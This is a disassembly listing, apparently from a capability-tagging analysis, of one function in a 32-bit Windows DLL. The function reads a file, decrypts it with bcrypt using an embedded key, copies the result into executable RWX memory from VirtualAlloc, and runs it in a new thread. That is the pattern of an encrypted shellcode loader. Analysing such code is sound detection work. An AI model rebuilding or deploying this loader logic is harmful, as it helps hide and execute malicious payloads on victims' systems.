Function at 0x10001220
Capabilities:
Allocate or change rwx memory
Create thread
Encrypt or decrypt data via bcrypt
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10004130
mov eax, dword fs:[0]
push eax
sub esp, 0xe4
mov eax, dword [0x10008040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push 0xb8
lea eax, [ebp - 0xe8]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push edi
lea ecx, [ebp - 0xe8]
call fcn.10002110
mov dword [ebp - 4], 0
cmp dword [ebp - 0x8c], 0
jne 0x100012b0
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.Failed_to_open_file:
push 0x10002860
call fcn.10002640
push ecx
mov edx, edi
mov ecx, eax
call fcn.10002640
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
xor esi, esi
jmp 0x1000151a
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0xe8]
call dword [sym.imp.MSVCP140.dll_public:_class_std::fpos_struct__Mbstatet____thiscall_std::basic_istream_char__struct_std::char_traits_char__::tellg_void_]
push 0
push 0
push 0
lea ecx, [ebp - 0xe8]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::seekg_long_long___int64___int_]
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c]
adc eax, dword [ebp - 0x24]
push ecx
mov dword [ebp - 0x2c], eax
call fcn.10003386
mov ecx, dword [ebp - 0x20]
add esp, 4
add ecx, dword [ebp - 0x28]
mov ebx, eax
mov eax, dword [ebp - 0x1c]
adc eax, dword [ebp - 0x24]
push eax
push ecx
push ebx
lea ecx, [ebp - 0xe8]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::read_char___long_long___int64__]
lea ecx, [ebp - 0xd8]
call fcn.100024f0
test eax, eax
jne 0x1000132e
push eax
mov eax, dword [ebp - 0xe8]
lea ecx, [ebp - 0xe8]
push 2
add ecx, dword [eax + 4]
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool_]
mov esi, dword [ebp - 0x28]
lea eax, [ebp - 0xec]
mov ecx, dword [ebp - 0x20]
add esi, ecx
push 0
push 0
push 0x10005268
push eax
mov dword [ebp - 0xec], 0
mov dword [ebp - 0xf0], 0
call dword [sym.imp.bcrypt.dll_BCryptOpenAlgorithmProvider]
test eax, eax
jns 0x1000138a
push 0x10002860
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.Failed_to_open_algorithm_provider.
call fcn.10002640
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
jmp 0x1000142f
push 0
push 0x10
push 0x10005394
push 0
push 0
lea eax, [ebp - 0xf0]
push eax
push dword [ebp - 0xec]
call dword [sym.imp.bcrypt.dll_BCryptGenerateSymmetricKey]
test eax, eax
jns 0x100013d1
push 0x10002860
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.Failed_to_generate_symmetric_key.
call fcn.10002640
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
jmp 0x10001421
push 0
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x2c], esi
push eax
push esi
push ebx
push 0
push 0
push 0
push esi
push ebx
push dword [ebp - 0xf0]
call dword [sym.imp.bcrypt.dll_BCryptDecrypt]
test eax, eax
jns 0x10001415
push 0x10002860
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.Failed_to_process_data.
call fcn.10002640
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push dword [ebp - 0xf0]
call dword [sym.imp.bcrypt.dll_BCryptDestroyKey]
push 0
push dword [ebp - 0xec]
call dword [sym.imp.bcrypt.dll_BCryptCloseAlgorithmProvider]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, str.Code_loaded_successfully_from_file:
push 0x10002860
call fcn.10002640
push ecx
mov edx, edi
mov ecx, eax
call fcn.10002640
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edi, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x20]
add edi, ecx
push 0x40
push 0x1000
push edi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x1000149a
push 0x10002860
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.Failed_to_allocate_memory
call fcn.10002640
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
jmp 0x10001511
push edi
push ebx
push esi
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
push 0
push 0
push 0
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, eax
test edi, edi
jne 0x100014ee
push 0x10002860
push ecx
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
mov edx, str.Failed_to_create_thread
call fcn.10002640
add esp, 4
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 0x8000
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
xor esi, esi
jmp 0x10001511
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov esi, 1
push ebx
call fcn.10003381
add esp, 4
lea ecx, [ebp - 0xe8]
call fcn.10001550
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10003312
mov esp, ebp
pop ebp
ret